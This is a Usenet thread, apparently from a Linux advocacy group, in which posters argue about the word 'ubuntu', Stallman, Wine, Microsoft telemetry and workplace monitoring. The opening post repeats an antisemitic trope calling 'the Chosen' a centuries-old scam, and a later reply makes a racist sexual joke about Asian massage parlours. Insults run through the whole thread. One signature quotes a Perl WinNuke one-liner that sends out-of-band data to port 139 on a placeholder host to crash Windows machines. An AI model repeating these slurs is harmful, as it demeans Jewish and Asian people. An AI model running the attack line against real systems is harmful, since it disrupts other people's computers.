• Ubuntu

    From rbowman@21:1/5 to All on Tue Nov 26 05:07:33 2024
    https://x.com/lmrwanda/status/1861268448866861249

    That's an interesting take on what 'ubuntu' really means. It makes sense
    to me with the parallel to Indian tribal names. Names like 'Navajo' were bestowed on the tribe by outsiders, enemies in many cases. The real name
    is 'Dine' which has the context of 'We are the real people. The rest of
    you are lower than the whale shit in the bottom of the ocean.'

    The 'Chosen' have a much better PR campaign and have maintained the scam
    for centuries.

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  • From DFS@21:1/5 to rbowman on Tue Nov 26 10:36:20 2024
    On 11/26/2024 12:07 AM, rbowman wrote:
    https://x.com/lmrwanda/status/1861268448866861249

    That's an interesting take on what 'ubuntu' really means. It makes sense
    to me with the parallel to Indian tribal names. Names like 'Navajo' were bestowed on the tribe by outsiders, enemies in many cases. The real name
    is 'Dine' which has the context of 'We are the real people. The rest of
    you are lower than the whale shit in the bottom of the ocean.'

    The 'Chosen' have a much better PR campaign and have maintained the scam
    for centuries.


    They weren't chosen for their athletic ability.

    But there sure are a lot of smart, successful Jewish people.

    A few perverts, too, like Wretched Stallman.

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  • From DFS@21:1/5 to Joel on Tue Nov 26 14:33:39 2024
    On 11/26/2024 12:30 PM, Joel wrote:
    DFS <guhnoo-basher@linux.advocaca> wrote:
    On 11/26/2024 12:07 AM, rbowman wrote:

    https://x.com/lmrwanda/status/1861268448866861249

    That's an interesting take on what 'ubuntu' really means. It makes sense >>> to me with the parallel to Indian tribal names. Names like 'Navajo' were >>> bestowed on the tribe by outsiders, enemies in many cases. The real name >>> is 'Dine' which has the context of 'We are the real people. The rest of
    you are lower than the whale shit in the bottom of the ocean.'

    The 'Chosen' have a much better PR campaign and have maintained the scam >>> for centuries.

    They weren't chosen for their athletic ability.

    But there sure are a lot of smart, successful Jewish people.

    A few perverts, too, like Wretched Stallman.


    Say what you will, but Stallman is like Torvalds, their two minds
    conceived something brilliant, a genuine alternative to M$ and Apple.


    Stallman got so mad at a printer that he devoted the rest of his life to demanding everyone's code.

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  • From DFS@21:1/5 to Joel on Tue Nov 26 16:42:54 2024
    On 11/26/2024 3:53 PM, Joel wrote:
    DFS <guhnoo-basher@linux.advocaca> wrote:

    But there sure are a lot of smart, successful Jewish people.

    A few perverts, too, like Wretched Stallman.

    Say what you will, but Stallman is like Torvalds, their two minds
    conceived something brilliant, a genuine alternative to M$ and Apple.

    Stallman got so mad at a printer that he devoted the rest of his life to
    demanding everyone's code.


    What printer? Is this a real story, or just an expression of
    Stallman's philosophy with a euphemism?


    https://www.fsf.org/blogs/community/201cthe-printer-story201d-redux-a-testimonial-about-the-injustice-of-proprietary-firmware

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  • From Lawrence D'Oliveiro@21:1/5 to DFS on Tue Nov 26 21:23:41 2024
    On Tue, 26 Nov 2024 14:33:39 -0500, DFS wrote:

    Stallman got so mad at a printer that he devoted the rest of his life to demanding everyone's code.

    He took nobody else’s code. He wrote his own.

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  • From DFS@21:1/5 to Joel on Wed Nov 27 10:43:33 2024
    On 11/26/2024 4:53 PM, Joel wrote:
    DFS <guhnoo-basher@linux.advocaca> wrote:

    Stallman got so mad at a printer that he devoted the rest of his life to >>>> demanding everyone's code.

    What printer? Is this a real story, or just an expression of
    Stallman's philosophy with a euphemism?

    https://www.fsf.org/blogs/community/201cthe-printer-story201d-redux-a-testimonial-about-the-injustice-of-proprietary-firmware


    Would you suggest we'd be better off relying on M$ et al, then? 'Cause
    it'd be a tough sell, to me, when I see how they fucked over millions
    of Win10 users, in their Win11 beta test, culminating in 20H2 and
    later builds. In 2019, Win10 turned into bug-infested beta crud,
    publicly forced on victims, and then in 2020-2021 it was simply a
    preview of Win11, bloated to a point it ran like ass on older systems.

    You're greatly exaggerating. Win11 runs as well as Win10 on older systems.


    This is the bullshit you praise.

    Above GuhNoo crapware? Of course.

    But, to be fair, I haven't installed a full distro to bare metal in a
    long time - like 2+ years. So hopefully there are significant improvements.


    And they're doing just as much evil
    with Win11, which is what prompted me to stop using it.

    What 'evil' are you referring to?


    You are more
    than welcome to the product key I gave you, for any useful purpose you
    find for it, if you haven't yet. I don't want it back.

    If you change your mind, I haven't given it away.


    I will not disgrace my precious computer with M$, again.

    You already did, Gollum. The minute you installed Wine you turned your
    GuhNoo crapbox into a half-ass Windows machine, and admitted Linux isn't
    fit for its purpose.

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  • From Chris Ahlstrom@21:1/5 to Joel on Wed Nov 27 12:06:27 2024
    Joel wrote this post while blinking in Morse code:

    DFS <guhnoo-basher@linux.advocaca> wrote:

    <dumb foolish shit snipped>

    You already did, Gollum. The minute you installed Wine you turned your >>GuhNoo crapbox into a half-ass Windows machine, and admitted Linux isn't >>fit for its purpose.

    I run Forte Agent and EncSpot under Wine, yeah, big deal. It's still
    a Linux machine.

    DFS confuses a user's favorite apps with the operating system.

    --
    His mind intentionally left blank.

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  • From rbowman@21:1/5 to Joel on Wed Nov 27 18:42:32 2024
    On Wed, 27 Nov 2024 12:34:16 -0500, Joel wrote:

    Yeah, Wine is not actual Winblows, and he knows it. He plays dumb,
    which is kind of funny given the stereotype of the AOL-connected
    Winblows fanboy, he isn't really such but he plays as if he is, sort of.

    Is Wine standalone? I tried it a long time ago and I thought you had to
    provide dlls from a Windows box. I was trying to use TEFview, a player for TableEdit files. I don't think Wine could do MIDI at the time so it didn't work.

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  • From DFS@21:1/5 to Chris Ahlstrom on Wed Nov 27 14:14:04 2024
    On 11/27/2024 12:06 PM, Chris Ahlstrom wrote:
    Joel wrote this post while blinking in Morse code:

    DFS <guhnoo-basher@linux.advocaca> wrote:

    <dumb foolish shit snipped>

    You already did, Gollum. The minute you installed Wine you turned your
    GuhNoo crapbox into a half-ass Windows machine, and admitted Linux isn't >>> fit for its purpose.

    I run Forte Agent and EncSpot under Wine, yeah, big deal. It's still
    a Linux machine.

    DFS confuses a user's favorite apps with the operating system.


    Those wacky folks at GuhNoo.org consider applications and games to be
    part of the operating system.


    "GNU is a Unix-like operating system. That means it is a collection of
    many programs: applications, libraries, developer tools, even games."

    https://www.gnu.org/home.en.html#More-GNU

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  • From DFS@21:1/5 to rbowman on Wed Nov 27 14:49:04 2024
    On 11/27/2024 1:42 PM, rbowman wrote:
    On Wed, 27 Nov 2024 12:34:16 -0500, Joel wrote:

    Yeah, Wine is not actual Winblows, and he knows it. He plays dumb,
    which is kind of funny given the stereotype of the AOL-connected
    Winblows fanboy, he isn't really such but he plays as if he is, sort of.

    Is Wine standalone? I tried it a long time ago and I thought you had to provide dlls from a Windows box. I was trying to use TEFview, a player for TableEdit files. I don't think Wine could do MIDI at the time so it didn't work.


    Yeah, Wine stands alone. No Windows necessary at all.

    If you have Wine installed, look at: /home/rbowman/.wine/drive_c/windows/system32

    Look at the .dll file names. The Linux folder holds nearly 900 .dll
    files (and ntoskrnl.exe) named identically to those found in C:\Windows\System32.

    So the Windows app running on Linux makes calls to the same file names
    and locations of the .dll files on Windows. wine then translates WinAPI
    calls to POSIX calls.

    They've been working on it for 30+ years and making blanket claims about
    its capabilities, but the fact that there are 5 levels of compatibility
    ranking means it's a big fail.

    Last time I tried it, wine would add an entry to 'Open With' every time
    I clicked on an MS Office file.

    https://imgur.com/a/gylQQOg

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  • From Chris Ahlstrom@21:1/5 to Joel on Wed Nov 27 17:19:54 2024
    Joel wrote this post while blinking in Morse code:

    DFS <guhnoo-basher@linux.advocaca> wrote:
    On 11/27/2024 12:06 PM, Chris Ahlstrom wrote:
    Joel wrote this post while blinking in Morse code:
    DFS <guhnoo-basher@linux.advocaca> wrote:

    The minute you installed Wine you turned your
    GuhNoo crapbox into a half-ass Windows machine, and admitted Linux isn't >>>>> fit for its purpose.

    I run Forte Agent and EncSpot under Wine, yeah, big deal. It's still
    a Linux machine.

    DFS confuses a user's favorite apps with the operating system.

    Those wacky folks at GuhNoo.org consider applications and games to be
    part of the operating system.

    "GNU is a Unix-like operating system. That means it is a collection of
    many programs: applications, libraries, developer tools, even games."

    https://www.gnu.org/home.en.html#More-GNU

    That's silly. They are part of an operating system's ecosystem.

    In any event, most of what I'm using is not under Wine. Posting to
    Usenet with a Winblows newsreader barely registers in significance,
    even though it's something I cherish personally, and EncSpot is just a
    nifty utility to analyze MP3 files. I have mIRC installed, still, but
    am using IRCCloud exclusively.

    --
    You will be awarded the Nobel Peace Prize... posthumously.

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  • From rbowman@21:1/5 to DFS on Thu Nov 28 00:37:09 2024
    On Wed, 27 Nov 2024 14:49:04 -0500, DFS wrote:


    They've been working on it for 30+ years and making blanket claims about
    its capabilities, but the fact that there are 5 levels of compatibility ranking means it's a big fail.

    Except for the one attempt maybe 20 years ago I've never revisited it.
    I've always had a Windows laptop, or a desktop at work, if I needed to run
    a Windows only program.

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  • From rbowman@21:1/5 to DFS on Thu Nov 28 00:42:06 2024
    On Wed, 27 Nov 2024 14:14:04 -0500, DFS wrote:

    "GNU is a Unix-like operating system. That means it is a collection of
    many programs: applications, libraries, developer tools, even games."

    With default installations somehow I always wind up with Mahjong. Someday
    when I'm really bored I'll have to see what it is.

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  • From DFS@21:1/5 to rbowman on Wed Nov 27 23:18:24 2024
    On 11/27/2024 7:42 PM, rbowman wrote:
    On Wed, 27 Nov 2024 14:14:04 -0500, DFS wrote:

    "GNU is a Unix-like operating system. That means it is a collection of
    many programs: applications, libraries, developer tools, even games."

    With default installations somehow I always wind up with Mahjong. Someday when I'm really bored I'll have to see what it is.


    It's what Mama-sans play while the girls are servicing you at the AMP.

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  • From rbowman@21:1/5 to DFS on Thu Nov 28 05:17:54 2024
    On Wed, 27 Nov 2024 23:18:24 -0500, DFS wrote:

    On 11/27/2024 7:42 PM, rbowman wrote:
    On Wed, 27 Nov 2024 14:14:04 -0500, DFS wrote:

    "GNU is a Unix-like operating system. That means it is a collection of
    many programs: applications, libraries, developer tools, even games."

    With default installations somehow I always wind up with Mahjong.
    Someday when I'm really bored I'll have to see what it is.


    It's what Mama-sans play while the girls are servicing you at the AMP.

    It's Mahjong Solitaire. It took a while to figure out the legal moves.
    KMahjong does a little better job of presenting the overlapping layers
    than Ubuntu. Not sure what AMP is or if I even want to know.

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  • From chrisv@21:1/5 to Chris Ahlstrom on Thu Nov 28 07:54:11 2024
    Chris Ahlstrom wrote:

    Joel wrote:

    some dumb fsck wrote:

    Those wacky folks at GuhNoo.org consider applications and games to be >>>part of the operating system.

    "GNU is a Unix-like operating system. That means it is a collection of >>>many programs: applications, libraries, developer tools, even games."

    https://www.gnu.org/home.en.html#More-GNU

    That's silly. They are part of an operating system's ecosystem.

    Those wacky folks at Micro$oft consider spyware to be part of the
    operating system.

    --
    "Only in the brain of [chrisv] does telemetry == spying." - DumFSck,
    lying shamelessly

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  • From DFS@21:1/5 to Joel on Fri Nov 29 10:16:08 2024
    On 11/27/2024 3:15 PM, Joel wrote:
    DFS <guhnoo-basher@linux.advocaca> wrote:

    They've been working on it for 30+ years and making blanket claims about
    its capabilities, but the fact that there are 5 levels of compatibility
    ranking means it's a big fail.

    Last time I tried it, wine would add an entry to 'Open With' every time
    I clicked on an MS Office file.

    https://imgur.com/a/gylQQOg


    Using any kind of recent Office version under Wine is not gonna work.


    Why? They say all Windows apps work:

    "allowing you to cleanly integrate Windows applications into your desktop."



    But that's the whole thing, you have to divorce yourself from
    Winblows, including Office,


    It's time for you to file for divorce, instead of acting like a battered
    wife and badmouthing your ex.



    be a man, use something other than M$.

    ha! Guess which lying cola asshole said this: "the REAL man uses Linux
    ONLY."

    Don't be a dreadful cola asshole like him.

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  • From DFS@21:1/5 to shitv on Fri Nov 29 12:45:05 2024
    On 11/28/2024 8:54 AM, shitv wrote:


    Those wacky folks at Micro$oft consider spyware to be part of the
    operating system.


    How do you know they're spying on you?

    What info are they collecting without your knowledge?


    Now slink away, defeated as always.

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  • From =?UTF-8?Q?St=C3=A9phane?= CARPENTIE@21:1/5 to All on Fri Nov 29 22:54:09 2024
    Le 27-11-2024, Joel <joelcrump@gmail.com> a écrit :

    Trust me, I wouldn't have given it to you in the first place, if there
    were a chance I'd change my mind. I paid $200 for it. But that's a write-off, now, because I have no purpose for it, not even a VM.
    Please do use it.

    I have to admit that I was wrong when I said you'd be back to Windows
    very soon. You stay with Linux much longer than I supposed.

    --
    Si vous avez du temps à perdre :
    https://scarpet42.gitlab.io

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  • From =?UTF-8?Q?St=C3=A9phane?= CARPENTIE@21:1/5 to All on Fri Nov 29 22:57:54 2024
    Le 29-11-2024, DFS <guhnoo-basher@linux.advocaca> a écrit :
    On 11/28/2024 8:54 AM, shitv wrote:


    Those wacky folks at Micro$oft consider spyware to be part of the
    operating system.


    How do you know they're spying on you?

    What info are they collecting without your knowledge?

    Putting spyware doesn't imply that they spy on you. They can give the
    tools to others to spy on you. And the fact is: they do. I know an
    adminsys who told me it's very impressive what an adminsys can know
    about everything done by the users. A manager can ask an adminsys to
    tell him anything someone did with his computer: it comes by default and
    it is really easy to use.

    --
    Si vous avez du temps à perdre :
    https://scarpet42.gitlab.io

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  • From Chris Ahlstrom@21:1/5 to All on Sat Nov 30 07:11:16 2024
    Stéphane CARPENTIER wrote this post while blinking in Morse code:

    Le 29-11-2024, DFS <guhnoo-basher@linux.advocaca> a écrit :
    On 11/28/2024 8:54 AM, shitv wrote:

    Those wacky folks at Micro$oft consider spyware to be part of the
    operating system.

    How do you know they're spying on you?

    What info are they collecting without your knowledge?

    Try running Wireshark for awhile.

    Putting spyware doesn't imply that they spy on you. They can give the
    tools to others to spy on you. And the fact is: they do. I know an
    adminsys who told me it's very impressive what an adminsys can know
    about everything done by the users. A manager can ask an adminsys to
    tell him anything someone did with his computer: it comes by default and
    it is really easy to use.

    I ran Wireshark at work once to try to figure out the Cisco crapware they used to verify that the machine was "approved" (they supported Windows and OSX).
    I saw it would be impossible to replicate on Linux.

    Later, of course, the Company blacklisted Wireshark :-D

    And trashed my Linux partition :-D :-D :-D

    --
    Winnuke in one line? No problem:
    perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"bad.dude.com:139")->send("bye",MSG_OOB)'

    And formatted so it's a little easier to read:

    #!/usr/bin/perl
    use IO::Socket;
    IO::Socket::INET
    ->new(PeerAddr=>"bad.dude.com:139")
    ->send("bye", MSG_OOB);

    -- Randal Schwartz

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  • From =?UTF-8?Q?St=C3=A9phane?= CARPENTIE@21:1/5 to All on Sat Nov 30 13:28:35 2024
    Le 30-11-2024, Chris Ahlstrom <OFeem1987@teleworm.us> a écrit :
    Later, of course, the Company blacklisted Wireshark :-D

    And trashed my Linux partition :-D :-D :-D

    That's something I can understand.

    First running whireshark can give you a lot of information about your
    company's network. Probably more than you need to have for your work.
    So, they have to protect themselves from you. Because you can change
    company in your future new company can be interested in the data you can
    have from your former company.

    Second, they are legally responsible of what you do when you are paid by
    them. So, if you have a partition they are unable to see, on which you
    can have illegal stuff, they have to protect themselves from you.

    So, I see nothing wrong with that. When you work for a company, you have
    to comply to their rules. Or change your company if you don't like their
    rules. But I find nothing wrong with you both sentences. If your work
    requires either wireshark or a Linux partition, you can see with them
    and they'll let you have any of them. If wireshark or a Linux partition
    is not require but only useful, you can explain why you'll be less
    productive and everything is fine.

    I know LP/FR/DG/whatever has no idea about the usefulness of security,
    but security is always a compromise between usability and protection.
    You'll have to find where you can put the cursor with your
    manager/security team. Sometimes, you'll find you just can't do
    something for security reasons. If your need is more important than
    security, you'll have to find how to do it with the minimum risks
    involved.

    --
    Si vous avez du temps à perdre :
    https://scarpet42.gitlab.io

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  • From DFS@21:1/5 to Joel on Sat Nov 30 12:48:49 2024
    On 11/29/2024 12:51 PM, Joel wrote:
    DFS <guhnoo-basher@linux.advocaca> wrote:
    On 11/28/2024 8:54 AM, shitv wrote:

    Those wacky folks at Micro$oft consider spyware to be part of the
    operating system.

    How do you know they're spying on you?

    What info are they collecting without your knowledge?


    Now slink away, defeated as always.


    You snipped this from his sig:

    "Only in the brain of [chrisv] does telemetry == spying." - DumFSck,
    lying shamelessly

    shitv is an idiot.



    You might work around that by saying it's "with one's knowledge", but
    that's the whole fucking point, you don't really have a choice.

    You have the choice to not use Windows if you don't like their data
    collection policies.

    I don't like that they extract anything whatsoever from my computer:
    it's none of their business. Or that they try to make you sign in to an
    MS account just to login to your damn computer.

    It's conceivable there could come a day when I won't tolerate some MS
    policy or another, and switch to Macs or Linux. Unlikely but possible.



    You can consent or not, they're going to do it anyway.

    Prove it.



    That's M$ Winblows. And you're peachy with that.

    You're peachy with making up bullshit.

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  • From DFS@21:1/5 to All on Sat Nov 30 12:53:36 2024
    On 11/29/2024 5:57 PM, Stéphane CARPENTIER wrote:
    Le 29-11-2024, DFS <guhnoo-basher@linux.advocaca> a écrit :
    On 11/28/2024 8:54 AM, shitv wrote:


    Those wacky folks at Micro$oft consider spyware to be part of the
    operating system.


    How do you know they're spying on you?

    What info are they collecting without your knowledge?

    Putting spyware doesn't imply that they spy on you. They can give the
    tools to others to spy on you. And the fact is: they do.

    Are you talking about at work?

    You have zero rights to privacy on your work computer.

    https://www.americanbar.org/groups/crsj/publications/human_rights_magazine_home/2013_vol_39/may_2013_n2_privacy/employment_privacy/


    And in my opinion you shouldn't expect such rights.



    I know an
    adminsys who told me it's very impressive what an adminsys can know
    about everything done by the users. A manager can ask an adminsys to
    tell him anything someone did with his computer: it comes by default and
    it is really easy to use.

    On Linux and Windows and Macs of course.


    But what does any of this have to do with shitv's lies about Microsoft "spying"?

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  • From chrisv@21:1/5 to Joel on Sat Nov 30 13:12:16 2024
    Joel wrote:

    some dumb fsck wrote:

    chrisv wrote:

    Those wacky folks at Micro$oft consider spyware to be part of the
    operating system.

    How do you know they're spying on you?

    What info are they collecting without your knowledge?

    Not a rebuttal.

    Now slink away, defeated as always.

    lolz.

    You snipped this from his sig:

    "Only in the brain of [chrisv] does telemetry == spying." - DumFSck,
    lying shamelessly

    The above quote is one of DumFSck's patented "double lies"Ö. Two lies
    within what might first appear to be a single claim. I don't think
    that telemetry equals spying (although it obviously can be spying) and
    my position regarding Micro$oft's telemetry/spying is (correctly)
    shared by many other brains.

    You might work around that by saying it's "with one's knowledge", but
    that's the whole fucking point, you don't really have a choice. You
    can consent or not, they're going to do it anyway. That's M$
    Winblows. And you're peachy with that.

    He's a liar and a hypocrite with that.

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  • From =?UTF-8?Q?St=C3=A9phane?= CARPENTIE@21:1/5 to All on Sat Nov 30 19:18:24 2024
    Le 30-11-2024, DFS <guhnoo-basher@linux.advocaca> a écrit :

    It's conceivable there could come a day when I won't tolerate some MS
    policy or another, and switch to Macs or Linux. Unlikely but possible.

    There are lots of reasons for switching from Windows to Mac or Linux.
    But switching from Windows to Mac because you don't like Microsoft
    policy looks really funny to me.

    --
    Si vous avez du temps à perdre :
    https://scarpet42.gitlab.io

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  • From =?UTF-8?Q?St=C3=A9phane?= CARPENTIE@21:1/5 to best programmer is the one who on Sat Nov 30 19:29:43 2024
    Le 30-11-2024, DFS <guhnoo-basher@linux.advocaca> a écrit :
    On 11/29/2024 5:57 PM, Stéphane CARPENTIER wrote:
    Le 29-11-2024, DFS <guhnoo-basher@linux.advocaca> a écrit :
    On 11/28/2024 8:54 AM, shitv wrote:


    Those wacky folks at Micro$oft consider spyware to be part of the
    operating system.


    How do you know they're spying on you?

    What info are they collecting without your knowledge?

    Putting spyware doesn't imply that they spy on you. They can give the
    tools to others to spy on you. And the fact is: they do.

    Are you talking about at work?

    Yes.

    You have zero rights to privacy on your work computer.

    In fact, I do.

    https://www.americanbar.org/groups/crsj/publications/human_rights_magazine_home/2013_vol_39/may_2013_n2_privacy/employment_privacy/

    I don't care about American law.

    And in my opinion you shouldn't expect such rights.

    I'm happy you are not the one making laws in France. The issue is not
    about using my computer for personal reasons. The issue is being
    monitored by someone who can believe that if I don't use my computer for
    one hour it's because I'm not working. Like Musk who believes that the
    best programmer is the one who write the most lines of code.

    But what does any of this have to do with shitv's lies about Microsoft "spying"?

    He didn't literally said that Microsoft was spying, but that spyware
    were included in the system. Even he probably imply it. And that's just
    what I said.

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